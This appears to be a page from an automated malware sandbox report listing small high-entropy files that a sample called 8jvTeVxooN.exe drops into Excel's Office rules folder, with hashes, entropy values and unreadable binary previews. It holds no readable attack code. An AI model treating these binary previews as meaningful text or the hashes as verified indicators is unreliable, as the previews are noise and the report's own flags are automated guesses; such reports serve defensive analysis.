..t{/\..=.yH................r.4D.5...8.d.H...&....n.T..az..../'...+.}..b........a.)n&~..aNv.0..+.UV..u.jk...d....\|$I..L...z.7..r.k'o...z.l.._.K;.U@x......*..k3I.<...BZ...c..T.!.T.E...J....'...s,`..Y}g]k.u.+..$....le..R6...'.N...v.".0.R..>.t.\^P.H..3....j..`..+,my...y..C....0...MD)".o.......~D:..$-h;.I.....x+.k.2.BiVA......X.uS..E.;....:.4..]rZ........o...U.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.902841403786529
Encrypted:	false
SSDEEP:	48:4Iw19AX3kTWrNZxHjgY/AVlg4VpVsM789z24riRL8C8+6DCMifD:GRirNb8YMlg4Rh89JGGC8+6+M2
MD5:	008E20092E558E4EA2188BD6F36CAB2B
SHA1:	AB678926CE7AAC44603E213E2E3710955A225309
SHA-256:	DFDF53317F3008E62EAC56436AC1604289762468902430301DACAF78181ABA24
SHA-512:	EF2D6674CCD5E1CB077E41C39D66F35EE88EDE3F274E2B92E800CC600F706D5039C6200201D76B1D77529D7D2E9BC42056770D67AA40CB4280F5A59FBAE13AD4
Malicious:	false
Preview:	<?xml{R.J%.@.8k).t.......h.t`..N!."?....x.+ .,...H..A..,.F..D..........L..,?....v.@W~......~.5..:...`Zv...........y$.....5h..\|...w!eC.G..Ms...3...6..F.)^.};g.B.#"..."..l.D....Z.....dS.....}T.5....r.n...>....vf1XA.;..o........,_!..U.....YJ#n.D..mJ...AX...$wf.m...8..`C.....V..^-..i#............#.bJ.t....%...,..`..3.E6'bL...+eU.{2.L....Y.".'..U..Ih.g..............@vVp1.uo.s....FZ.H[..X>.....i1.YK....x.+B+.....;.2...rL.7.^b.0.bf.'...S.$<.^.H..$...b.B.%X7\|J....T.4...O.aJ.SxH+:..gI.o}..[...........Bz.`.Q.R..x-N.<,.....?k.)rTJ.+....=6...........=..Ie....$u../........g...n....(,.\|..J.a...'.M1...v.#5rL.O.w.$.U.!.c.t.....G<..H.\.$.3.).I0..Z..0Q.br,.....1.....'p.c......w.v...P....j.%..QqN./u......{:..XT?E...._.zQ....V9....G.UA<g..dT.....N....!7...2.#F97..j...CH....&.Jp...;6.......Q..1\|?r>...w...y...`...3.w..JzT,1X....}....5\..2..&...D.L.r...b..B..Y..j.V.........LF...r'5.Q..2..-#.@.T.\-.Cp.}C+..........@WZ.?R.../o...U%.f.....@..V.g....K{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.874806491063909
Encrypted:	false
SSDEEP:	24:ac88s+G2Zpwt3neVYH/cjGcIgUyjxcPavWWnd0zfDLaefHJDo+H0WYs5eQNtn1e7:aMG23wt3nWoEjGBFywaOWnpcHJc+ZFYF
MD5:	8C5C65C4FA1A723D0F7BCFAD8DE97379
SHA1:	38CFE1C48AC8C8F5C2BA2A7BE205A734E5AE0057
SHA-256:	2BD491E1E45FEE71A42C72F0EAF9148B113A0CDA9DC9C801AFB2818FC6582CAE
SHA-512:	CA663790717A94523F5F348AE01C1D8CB14D3B11288D1432515950E173FCAE246DA79F80D22ACB1AC759089F65DBB5FD7FDC90B1102059342FEA13502D4FC3E2
Malicious:	false
Preview:	<?xml0.9._\_?.....$....V3a....\q[4.y.U.....W<O..TZ..>..@D.J.p.2.Q[...]...;...:a.(`{..q....}..W.A.......mw......9>&.....;V..}...r\.....E..d...o..r.mM....v..v..l.U..%.'JL.y>.Y.S+...<.R.L....$..X&.I..\...5........y..i~..+...y9)F.....^:....p....B.....@....t......].....G.q..s..^..T.....#.O1...".^M.B...f.....B=b.nN..E$.g....@....&...#.'..}.Y.p..j.[.]}w..".HT...U.i.K.q....S..xQ$.y?..5=. E.T5.&..W9pb...Pw.Ji..F.......8.H.#.X...C../.G..k~/...#p.\....g....Y68e...s..].s.u.[A.\|..l....-.(.@.i.?X.!.yb.._`.[...+..h.gu..."..kPa..j..9O....<..D...-7..@...R$.._..'.{..<2`......b`.<..E...L....>............]iU./...t. ....p.<..\....O.>.Y..7.\|.U..)..f:X..2..3~.m~nR+.PBy......wA..........]Qx9.4a@....."......8(i...'..K......f. ..1.s..(;....H.r.....w)1.`N.c......x..*6.......!.n....5.....R.R...!.3`]..@o..._..6.6iw.0.....i(.ru...(J.^k....N.x.:.C{...q...<...j..Y...Z...t..+M.9.:.]....t..W1 .b..6A...._......d>.X\).g.j...`{...u...sI..LY`..s..@...L.;.0..%`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.850597784574138
Encrypted:	false
SSDEEP:	24:m7ao6YCvCgjoONSLGjaRbCFkjPCi88EA2pguzfn13LUkY5N4Uc8q2ObD:mb6YCvlE9LGja9CFkuv8EH13Ln+CQqZD
MD5:	05796388B116595EACCBF6E5A073868B
SHA1:	C5E1BA385134CA827AB3990A69969E157909F0C8
SHA-256:	4AE78F365FA9C30CA2156A57A52959761815AAC3CA6B4F89B6537AA7B0BFC5E5
SHA-512:	7AD259FCF42E72A136E49B6F3F03B055001197DFB60FA04821541AC29E1594FB9E9DF8E3CF445633912BDC961DA2FF0A550544E1D869625ED48A123979235BAB
Malicious:	false
Preview:	<?xml...D`.y.?.H.4U..H.9mf..{+0....n....6\....WW)w....nf...~....M.n...C.k.F.....:u.M.jn.F...3......I.b.0.c.$>..<U..A8.....v?...j.....W.:...`.....tX.-....;....Za...mA...kk..3..Q...v.g0{...Z..!lSLb..{.......:Y...qu../e.....L...5.xY..6.`..xc...2=1.E.c....ck..wJ..qG-@..FTYI#..4.J...9sR..2.......i.(..~......\.F.6.....HVd.o.?.oX.}......j....zG.HB..-......!M.)..Cs.{;...F]\|...N.K.]2...Rz......^..<F........8.7Z..h......H.v^.......V..S.}..I..m{Z...A9)j.Jz.'..g..?...H>.\|\..<z.p.)v.WOn..!...OD.;u1.0.r.R..7jZu..1.z..U..<....]9p/H..L5V.m..>..i..f..<.f.r.*9.E.....y.}.....@...k....z....o.go.W3.W j\|e..y..w:......a.D.....z.....e.j.C\.4^W....>T.hti.....3.D.xK....I.7K..?o@:.E{.\|..vZ.j..6.'...........<..w..Vn...He..H:.3...X.J.A..........G.mrD.Aq..6.}.4i......J..@B..Y..O.....-...../+...h3.....P....Y..XX...0KG...,.K>p.IU....nn...]......_;.0@h\|W.A>..,....M.d.J9...C...1.p=...Q.B....B#.O...r+.eG...........5.I....v......ni....w.H..4....){.wf..-...wp..$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.760269795176619
Encrypted:	false
SSDEEP:	24:crXijVhKYRP1oP900KsB8BoJm8skyrrI0QKFqFkIjObD:ySjrKI9u00TCBoJmrn4+WmD
MD5:	83DF8B188BEA2ED26B8272834BF7D032
SHA1:	F05B989CE684D9FD6DB940E5FF80DADBC62E3AD7
SHA-256:	14149DD86B3CA986C1174D03436308DCDC10385FCBF6F5E0D39CDA8348A1B29B
SHA-512:	894C94E9E302DE994D016E2A975FA5AB4193CD24343BF8439A9B09FC0514A3FE24446A33E5EA43130655CCD97937641CD269887B29BF7048DC622C68FE080212
Malicious:	false
Preview:	<?xml.]c..aS...M.2a ..y).E.%4a.k..h.?.y.n.:.P@-........%...]u..z...l6.Z1.c;.O.....].i..$..RK..c...'.U=M.8z\k.....J.Y..)......).SV..%.v&[.L;....@...}...e.O...G..D....[..W..X{.5.#........2..uR..t.1......a.Z5.$..U.,....a.p..j...P...xr.wz... ...j.?....O.%`.{.?...lP.b.B.}...%.!$u......a.y%...\..;K..........\|..k........%W..h..we.....\|.#.R....BF.X.h'..hr....'.r^p...........`hlP...re...d O.\|.7[......P...h....K..QAn.m.Q....E...e..f`-=C.4..R{..k.../..w...Sv-...g.".:..5B..9..C.Zx....'sD"....-<.30...T.=. .dn..F..h.R\.l./3k..e\|..f..hbF:.2.$"].....;......../'fYve..........T...a.3.B..MCq..j+.7.. r.?...9..,.O...I......[{e.h.S..W...gx...'..?.t;{....S.\|y.1...4K......gRhG.c...=be....q:..<.......g..N..m..~a/..%}.~.kD...ZL....@n.r...T.$P..."...-.H..A.ay@.]..c.. [2.XxN..H.H.E...1.A.!..+.rV.v......z.<.C7_.iD....7Z*..z&.9..q..Ds6...0i9.Rw.....L...F.....H.)...;..R.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.95023096757101
Encrypted:	false
SSDEEP:	96:WDqc/YjWQPAXf9VumjzOM2Fl382Fd2JYWL31pRta:WDqcLQAHumjBUl3Jdf8Ha
MD5:	B0EF68F3B5906FA2D7394DCA7F9F1C4F
SHA1:	D9D1B96450ACB56505BE36071D90E3FD69184AB9
SHA-256:	4C0072283C62DE20EC16F299135BF1C843FD6E62F46A361AC39471BC2786EBC7
SHA-512:	56AC5DB14C3733E3D4059329E75C55E217CD87ACC65F77D19065F303110E615705D7F42DB2D9C810200F16A4FD7BE144373458D1A405B096C68D698317A0509D
Malicious:	false
Preview:	<?xml..h.v....{....;.b..me` uy......ra..1......p..$,...C.....kR../.IO...e(X{.....8aOb..jK.V......z..Jy\//~Q.$..Z;0..,2$........x ..n...6..:..).Y......3...55....k....'p..4S)..Z...f...>...M;d.YE....u._\|.D(.-..8..2..r.+...R.....M../n.....E.\....p.&h.#j..-.m..X.W.+i........-..or.J......G..Rh.z....,...>...".#.u.....:...F.N..."}.U.f..gs].......[M4.....$oDy..rb..\|M.%^f.... .#..l......h..c@G45.....CU[z^...w..=.P~6.Q..%.{E.....B.....nW./...]....iP\|.Dl)/doD..&.p......s..e......F..L..i.^....v..(~?..M._....cUG.&..7Y..L..........E5Xz8...E........Yp.).z).......'!..G....v.q.d..~Xzj...L......:l.H.w.a.p...<....N[.f.N..._...w.`&>. s'.:3U.T..1..4....:.g.Xm.S0....tQ...W\.(.Q!..jvxe4.k......>Tc.P.N..J....{.rD.oV9..}.b!a.a..=p...-..~.....Rq8.".....a.`.9......Z..9.H..h..&0.S.....eR6.x(...e$.j..P.C...&.z...r\|.6.....!.Y..V.p.....X.{b.k....XD.\ju...R.....K.........O.+.__.a.\|.I.(..y...a...h##.X.zl...WYI..w&.W#...LO....W..o:Ai..........pu..).V...p?K..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.946475140539838
Encrypted:	false
SSDEEP:	48:EL7HHIGCQE242o24M6llITAjrKhVpXccuTXTTPG0g9/HgOcpYtcxuyzDtQA1FmD:WvCi4RllPrKXmCH2pNxuStDS
MD5:	36CEC5D0EFB165D57E82C9C9CB84594B
SHA1:	585568EA3F0D962A9C90632EC106491F4634BE05
SHA-256:	41E9BF4EB08380BF1877F9D8A57486C64BB8BFC0DD4B58897C52238AE51BF30F
SHA-512:	02F852B4888D68ED65CFAD845F6348AAE3B2690308B7C20537CBBA2BDEB093EFF1CC3CA849AFA5C22E9BF303912E4DDE5AB57DC1DAC9412D1D8BDF32E53D0F9A
Malicious:	false
Preview:	<?xml..BV?.!D`!.keT...`ho:.C.....K.......r,<WAg...).E .(0.@<^.h.V..8.##..D..3o_...I........%......o..C.b.H.x....i$..Y..c..:e..m..e...lk "T..q.&..Xe..K.T.1....._.c,,.{G..(.z.....U^..\|?.s.Z../G..;.....vz...'!, D.....H..H.Eg...d^...r.D..#..<7,&.'..(..a...eq.....'.@....1{H.>.D.y4.3{..2.h....-/.9..u${.).H.F......$..Y...{....3.}P.x.@h.D.3.....\P.O.3....]....i...l.z....+C..t..%.9.4.A....0...SU...PmP.u..Y...\._...P.f........k....u.0{x.`..5g...X+.s.g..ph.4...6..5.7.d...Z...............!...\tMi..:......jl.)................S.Q...M...........i...j...o..6 ...aO..K..I.h...c.>..C.E..\...r.}0..z..X..w{./-\|...X.....\|.....3.PUY..0n........^.<.0):.n<>"u2O................\|/..]....(.^.,...(...%V.g8...hK.Am...@?v...3.B...r.\]<v....Y..T...BD-..1)Y-=....PO.E............5.m\|f(.l#....wS.O....lB.....$.`.Zm....E....>9.:....<^..y.5.t`.)P%.....p.@_.b.....Y.....!r"#..X...q./......k.W...]M.\|X.+sJv.....F.6..^....\|..i...(.2q.z....U..Q'O.X.*C....<&.....`k`........j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.946350710421403
Encrypted:	false
SSDEEP:	96:W9RhTQ9ZwPng9pFCdzIt7EfbhNWMXtvZGywJvgalAVI:ATaGPgvkdKY1iyOgal9
MD5:	D5CDE3A752EA45E6CFCE967F22DC41EE
SHA1:	C1AE1C824DDC5C968E27ED24C22CD97DF8AB72A3
SHA-256:	A11DA245B6F02F44D77B1F2587B011E413EE96BD163D62AD1932A59D1BBBA3B0
SHA-512:	421ED3736A0131D093E831469FCF50A6F594DF0CDCD4666B7CE4CB7B53968E3050B908646A9C38B07B266AFAB3D18D58F9148CFFBB5CAB1A0BF34185284FA8F6
Malicious:	false
Preview:	<?xml....P3Rp...p..y..@.E_....B..O..PQ.. \.}zY...9xlK....@....@a....?...Su/(07h.>..{<...4..d.j...o......O19..v0...%E..}._.2T....==<.c0.....pp..?Z.uB..S........u\|x\|.K...j{.Qp.6..f....6W...S.....9.OH\|N....r-..+qn.xF..>YW!..e...2..&......Ps..).......f.\...~[..OP..gL{.[.....U,....Q.X..8..6....c..a..N.(..Xz..:....=.....l....&..S...?..QS.ZW..x.:...7w.l&...C..FH...G..."...r.!%.a.2~.<.......K..`P.s.H...:.S.......y"...s.]..\|2r.~..F;..fC$@..jl..$.af._...n.'....+/1]Z:.(...!....!..n..&.ay.....u...}..........G...LZ;...1....t....\uC".M.@x.%.B..V.)M.L..i....o.A....I7&.<..w.U..#.f..u...R\|.ie.D.TL.......q.....L@^...B....g.c.:....Gw.l......Bk,b..y...6.7...^X.....%Zs>............3...H..5*.. .4X.F%.N...n......M.e!...r;...26.....4.q..9.g+KC...s...9...<.. ..%.#..,2.-..YU.."6.\|.+.P....../wO..._."..R.&.....'..[,.5...TC.T..M.....w}`sM{<.0.]............aZ...{..T......Q3.s.6@..25....p`.B.....^.....2.\D.C{\|pL...=.........#nL.i........?k]?..^..or)W.,..d6B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.845942763471633
Encrypted:	false
SSDEEP:	24:4svMDeubNnOTI4wucMcj7Z0IwrA/321Zq5RWko08DqgObD:4svalnDbj71wc2Gqko08DqTD
MD5:	AF7085E5E068A5B921150B2A9475EF0A
SHA1:	8DA171D453FE02294C4FA490412BB2ABBD3C3F89
SHA-256:	84844831BD8F87C990DA6A6561C8561088699F90D1A4028979B79324A6729B6E
SHA-512:	1DAFC6258B3DD7B0AC2CFFE25AB4742F563D551A48766FA61AB411BF2F050D54B1E197C20217D812242B49E03C4D58D0F64FF4A7A58493510D1ED65FB3FDBD8B
Malicious:	false
Preview:	<?xml....0..B/M..D....E(.E..........W.Sd9bL.s.}v.$...:..5.Lg...` .#o..M..+..&\|..... D.......!-.e.O&.~>..dzB.Z.h.q)AS~....ks..?...0..:...[...1V..;lZ...KID.k<6.I.\..H.@...tg..j...']..............\|LI....0..e%...-....{..\|2..UOD.1...~.53..y&}.A...)o.!......U...2X+R.\|.....r..<.^..~V._.g.....G.E.......=G?.<U].4..t..2...l-..L..e.E..D....`....K^L.T"....>C...M'.\|.....164.e..NJ1-.c./..$.....k........g?..."...B.9d...i......T.)...]\|85j......W..hx...qi...S5b.^...ye.!......<%.T'T.I.>...5..`....S..T..x..6...a...^.#]O....S......;.....e.....]a...i./T.(..l.4.><..D.Hv..../.C-.!..'..^..p....pu........h..<}Y.{.....=.....+.U..#R...9:q..i.Qd......nR............vj.<..H.f..77S5.x5..\.e......+...g/...lz.....Sm..M&%.[.6.m6........A..h....S..oJ...]km..o..Y.<..@v..2....;.($.3.c../!I.."...;"9<.s\|D.u..TN.z(..r.eq...Hw..b=........TL...L.........J.Z../..D.#..<..d...J{...lY.6e...x..!37...p....d..\|....^.G0;.(2..,!GA*.7..'...XI\qc..._."o..8x...Nd5...B..w.6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.921926770353953
Encrypted:	false
SSDEEP:	48:Z9gzI1XVDuvN0Chn7bNKfA8o4sJkr+gkjO82SZAqFoHiKTjGZ0Siyvi5YD:XmI1duvHJeAD4sJkQOCz/KTSCpyv
MD5:	5386FBB2F3DE0C7593FEA9E066714971
SHA1:	C4B2A6AD90C23FE534AAECCAA483E23D3B9080B4
SHA-256:	C7F077A89A7F01D72D71E4F838470BD95E7229B6581CC027CADA669DB65DACD2
SHA-512:	9DE8B09595B8BF432399A342400470FAAB1800A2B330E89CEFD821EB7B2D624FB71150F67C9BD1A88993A88EF9499EBDBFF949F2DBD1FF982CDE914C617CB791
Malicious:	false
Preview:	<?xml.#!$.$.@.$.PSN+.......^...\|..h.]....x..H.u...)."r.....DDm...~..7....,#...(.H...D.~....JtqD>........3....:.'x...d...oL$.sx_.<....v...6..".#...!...#.IA........] ....9.c.....CwOJ....,.bu...]I.E...]...l'z.....l!.....5.p..w.OVU...\|.i......J}...7.Q.....9..q..Z.Xb...u..)..N.w.]....S.t.-=.B..8....~...b......9..d 8.l.O2.G5..4Vr).....uZ#F.<......t.t.n..y........q..I../x.y<.B..em..e..~<Yth.......=.[..^nn...D5.....+....w.....vqJ.I..o...U....D-6a.Y%......`...Z.gb....j..........L>.6.Y.%c;.w.........1"..P......N.m!\|.'..'`..p...w.mP2A.......N...B.TD..H:..E..f.{...-..4..z2VM........9..@...8........tF.kS.5Ws...j...Wl.....z_}.Wk.v.?.N$.....3Zi$.]&2..w....../.....n.....}..d...U.H......!!..G?e%......Sa..w..?.A.... ...!/0.5...^..<..{L0\|...q..jA0.......7.}5.E..JIX..la..'.>\|v%..ZH..A\|.O@ls.}..e....l{..e..@E..N.SzY.O.y.BH.7......&...9.C\|Q..K[..8....x...e...s..1?.x..c....ux.\G.~.......y.i..=..KD.l...\Z.b;;m.>...d}.'*9..B.....'.6.......3.v...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.899076609323164
Encrypted:	false
SSDEEP:	48:coaG4i3SKhUz4mM81oYKM+ws/nZ3NH581D:h4gSKhZ2PY/Zlc
MD5:	A3D5ABB3CD4BCBE5EBB8EEB139FB2389
SHA1:	03F107341D1A86A281FFFA4EE7893F63CDED5F4C
SHA-256:	7621D0258A83DD21E8D71863C66750E6F272E9FCE19A8AA5314DAE65858ACDD6
SHA-512:	486E0D792813004467B20B8D7A864D4661BDEA5A391506484F4EFA7A0895E3DBC982938FD2BF812BAAB485A15F854E0009E5FFB3345624CDDD9CF8AF5DDD3BEB
Malicious:	false
Preview:	<?xml..K...O.o.{...<......s.#.p\anm~t.~l..`.OE.....1o..{.h;0......<uz.#D.%..@...].>bn.7^Y.......O.'.....($r...g.=.)j.,.pJ..@.....t..0....z...h..- ....V<.3\|'S.(N%.......\|J..\|..?.`}rDy.N.8{D..W....fjXz.(aX..6#n9N[.T6.....zg=.T.1..i@.b.H..K@u....i..!..I.z....M...5%.tO;.J.T}..Go}......Uj.....Max?MP..QpJ..ES....9p..',.n+l..s........A....h7.t...F.S..#...$l...YD.v.RV.z....s....#.d)..W.u..~..}..g..{Vj2.I.RyV'.E6..X...1.u.Y...[.X..1E.<S.+_..QN....c._.`z..e.$mC...../k.f......L.N.\".^....<.kR....~.c"..gi..j..Y:."%.......1.....@.\...%_V...a.^.......n...m(..]......"u....Z....^.0(0g(...........\|.(:'+...]./yy.uK..F........P..M...b'.9<... .i.c.......I{L....a........se;z...i......%...N....BH5T=.......(`...v...2%1w....Yt>....m.....,...R.&......v........@6.".2..6..H....].J.4]T..,..8...........s...K.u=.J...v...YX.:.{..A..t#.N%......B.7L..+(.mv@I..{[^...;......mo.M.....G......{O.PO..&+..j.....5.g.:...M...j.5..4........MA.I... ....{@....?.O..tn..?>M......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8676512589393095
Encrypted:	false
SSDEEP:	48:Gz5IZyYxgzz7S55sodXZW3LFCvj1X/imSu7VNDAkuD:GNIs2godcOamSy0
MD5:	61071539D8326B113246B41B2295CC99
SHA1:	CB8F76F470389254CEBC6D352A6C939B309635FA
SHA-256:	03FBA7BFF7D61C72C1210535807B1A7338A7CE11F1BE9705D99DC1D68F654406
SHA-512:	99A2B58ED291186F17C22A765C6CA702C8BBBC75615650E977EB610D37CFF4C08777E4CBAD35C40C3ADCD200DA9BAE93F3C06A6EC6B6837B6490A832A7AE68FD
Malicious:	false
Preview:	<?xml...P...6S&:O+.>...z...c<e..y..Q.T.v.H"I.(.._4.q.N...a..r7...S...-.[7.^...z.ZD.../.V.?}W...QIm.\|.K.D.n......y..N.\|@G..GC.^.o..U^e.X.bh.D.../Y.h.Ec............p.).)Z.Ce&.q?....BjOv..s.S..S.....0.LY.l..S..y...o......e..T.e.9..&.I..R..[....F.1....`.x4.V.......n.J..+.ZG.O..........bU..m...`.B......>..9/...,1..b..cR....H...m.>..:I.....O....!...\|.F...7..H...v.##.t.4........U1M.t.....Y(.j.G5....<..j..E..V&......%...Q.....K..A...8..<..+.a.....g1.3h....k..I\.....S.~..XKY..o.e.XNXc.3.....t...1.q..Y."\X.......>....5DD..!.an..dS..@V..7.#qaIH..,..qT...ywU.. .<.g.....6.b.OW.v..G..l%....ZM..z...fh7.\|N/.q.bR.Yo1-.h...9.G7q.B.S.f.._......2...../......?.o.a..<.6o.M...U...b-.R?..........{%..F....>..J ...l;..z..7..=.'PjiO[..+.....1>v./7.$.n.^...\|.C9.....P.q/`.KxP....R..qJ...g........(R}.n..r......]....)Z...0.4..g..H..o.b?>..wZc....>..N..#..A.#...oN....bB...q`.s.J>b}......F..~U..]..FHBE.r..R..%G....E@............v....)!.....a.)..-0.Z..'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.929680880733476
Encrypted:	false
SSDEEP:	48:q1/KiuPfYk/jyCr1k6s1DBIlMr+q5YO0hwPvJLPQRBqDBlPYADD:qBvu4+r1kVBIqr+c9B9PQadL
MD5:	579F9FBBD85C4CA34B4C52C72040C9C0
SHA1:	4FCFEE6927C520CF07D78D03B69AB5886A1DFC1D
SHA-256:	9987F3AB31C1B68AD57116EF2A90EEA7BA906D411CC429497B73D8571951DBC4
SHA-512:	0E85BCAC8C0469CF612E423D49CD2CC25F745ADFE9FD480CC205BBE807083F4594866A5AEB5D66DD5529DDA0A9DEAD1315572CA585B82E881D678CB09099244C
Malicious:	false
Preview:	<?xml..0...... ....@.}.\|....c}7.w......`......`.f.~...t..FW...fn.Wu1.W,..fR=.K.".g...gvF....Zn'_....E=..I....$..5.:...j.+....`9..X.oz.w.Q......o..{.=...n..%..+..h(-S.P......9Gj.....;.7.w;G.z"..h....~....l<Y.07..9I...^..\pWlc..1.D=Q1.(..W.K..a....M.f\|M.dq.T47!"~....)..Q......_..vJ.pE_....\|..wA<...#...0>.s.. B1R....l_........Ml4j$PBG.>A..NM\|ld...Z;.........e.&.>8.~.d.........q....a8.m=...N......,....p.r..k#......MB..jv..q.PA.n.9...,....G#..\|5...+.pN4.Z.hG...l~h...k<+...o...o6/..y...BJ...Dl.d.....?....:...^=.t..R.~G..=.aup9"~. BU...;K9...1.....L.. ..`..S.2.ad\|.z..9.q2....Y$).....f\.N-;..~[.......q.!~...;....Z....../.7.5.]..&kB..SL#"\|...wA_.N.... U`.../....o.G....m/.....~P..2....8..zffd.....h.#o...\.....m.hI....('.....[...t..3.....EdU....Y`Z..+.U..:.z?.......W....[...*8../..OF(.L....1m...hP]-...y.)s\|.fv... y.W#.Z....../M.."...zw..G.8.......57lo.7.7......Nu....y....z..Q.+..:......F........?##.......+h.>....k..493..n{....p)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.962610137424531
Encrypted:	false
SSDEEP:	96:j0sw5MKfrFPap5duhkv39G+auWZU2UWqoICnQ4WIJxx2QxCs+BkpCY2:jwBPW5Iq9G+auSgodQGJatsZp2
MD5:	DD43A0BC615EBC0CA570693370142B27
SHA1:	D408A3DE74F8C90F801EBDF0CAF45EA3C24DEF22
SHA-256:	B3B1EABC402F766476FB8FC94CD6FACB8930695EE9EFC7B9A4AEF9DA3BD28944
SHA-512:	05AE6846990D675336F0CC4F812C7190ADE897412D0556F53E97655000513957A5B4201C33A7DF892C7C16CD07D3DBAC4790B691210ACF82A7A14ADDF8B2499A
Malicious:	false
Preview:	<?xml)X.J.O!_.Q\|J.H.....@.K\|4.dUz......$3.b.BA_.....0....~............Y..S.....]E..o..&...w...\.`pr...GA>...s.\|.......9../.......U...............0z....M.\....!.t..uJ=..H...(.0.........w......x..h.`..=.m.e....a!Q.. ..U..G..->...#....3J..e..1..Yl..B#.%.p^..V.....W.M.1...!..~f.O"ah..RSt.a.\j!liR......^..(}:l.A..)S.......\|..6q.{..g.Y..^...a..y...8_....q).W....9p.....4.} .....[..R...t...V.p...1.pU.O.29......\|W.).m...$_..S.}.....T^.Y..M.L...d-i.....W2W..:pN.m../O-..^..b'.K.M..\|..S:....p.....n%..+m.X......I..@.3.+......d.......<.+..:....].....b.J?(.....i.\....V.....V]7...F..@pDa9..L.J...w.....~...5.H9(.s,.u...a..D..u?0l.f....%...b5@y.5..x0......[.Z/a4Y_..4..l.q.Q"E..f.Q.W.n[3Q.1~.r:..%.Z.../...,...!..J.^>.\|.R.2.:L..3O......>.F....Xb..<.4.L?..6.....g.uj..@.B3{..D..i.....UP:.5NB.j.ws........v.'..TC.*...A.Po.&.....'.o[.F....6f......h_u../p..SW..[]Wbw..41U.....\....<./.....]..(..L.iO3..u.>x....i.N...&..........~..x......,.LG..o.SF.A...p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.978384887384554
Encrypted:	false
SSDEEP:	192:0JbzCWhoneG7+Mx2KznSoi6z65Fv4G74rLB3d:0J3CWhMeGqSTLz6DCLhd
MD5:	CC623A8FB51AD832D9ED4322AC5FB9B9
SHA1:	F09E7BC90F1EBB6454310B81D19491BF18D2DAA4
SHA-256:	3FE106B39A55A759D97727DFE2ACE895DADEC9DD6FCA7914CCE26AFE600A1AA1
SHA-512:	C76F04DD1F2DA25E4AE41E7756569A734C4E3B190DBE28F847C7E45521A9A90C80435BBFF485E4ABCAFBB49F107F8B421256A35288CDDB3CD5EC6736FB1E2731
Malicious:	false
Preview:	<?xmlLT..=...}.W...xy}....=\.;JR ....t...dy.;Q.t..-U.A...a.4v.b.7..?.tNOn.. Q-.....:.bp..U..fN......7.A.....h..q...%..%.W.L...~.S....v...(.3..Ri5.?.%P..D>..#F0.......\..c,].ej..Y.\..pa.D........T......G.[4B......-@.t....Z.Dc...4......a....s..d...f7.....>.Vi +......_......(&..\|.I....%H.......<A`\|.M....U.t.P............r..Z....3...O$..S.f.!...].O_4].5..;Y.#iI~Zw...ns..h..)A_.....E.....=`......f.....p.....e.BD?..w^.%tNoVs.6....M.jn...Sv.o.l?:.}......n...R.r......#&[.J\|.f/k.._.]..o.....W..j...f..HAB-...ke.6....Tq....a.bg..$. l5=.z+x...{.... f....1.....^D.:..n.......<.d..r...1..$..-^C5..?[.q.E..l..?..\.F9j..\.*j-...!.....;U...w. du...3..w.AoW..."o.0..._......... 